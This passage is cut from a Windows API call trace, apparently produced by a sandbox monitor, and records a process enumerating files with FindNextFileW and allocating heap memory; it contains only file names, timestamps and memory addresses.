0x8ff9c8 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8ff280 [0233.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.386] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff9e8 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8ff388 [0233.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.387] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffa08 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8ff490 [0233.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.387] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffa28 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9003f8 [0233.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.387] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffa48 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x900500 [0233.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.388] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffa68 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x900608 [0233.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.388] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffa88 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x900710 [0233.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.388] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffaa8 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x900818 [0233.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.389] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffac8 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x900920 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x300) returned 0x9023e0 [0233.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x900118) returned 1 [0233.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.389] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffae8 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x900a28 [0233.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.389] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffb08 [0233.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x900b30 [0233.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.389] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffb28 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x900c38 [0233.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.390] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffb48 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x900d40 [0233.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.390] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffb68 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x900e48 [0233.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.390] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffb88 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x900f50 [0233.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.391] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffba8 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901058 [0233.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.391] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffbc8 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901160 [0233.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.391] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffbe8 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901268 [0233.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.391] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0233.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.392] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.392] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffc08 [0233.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901370 [0233.392] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.392] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0233.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.392] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.392] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffc28 [0233.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901478 [0233.392] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.392] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, 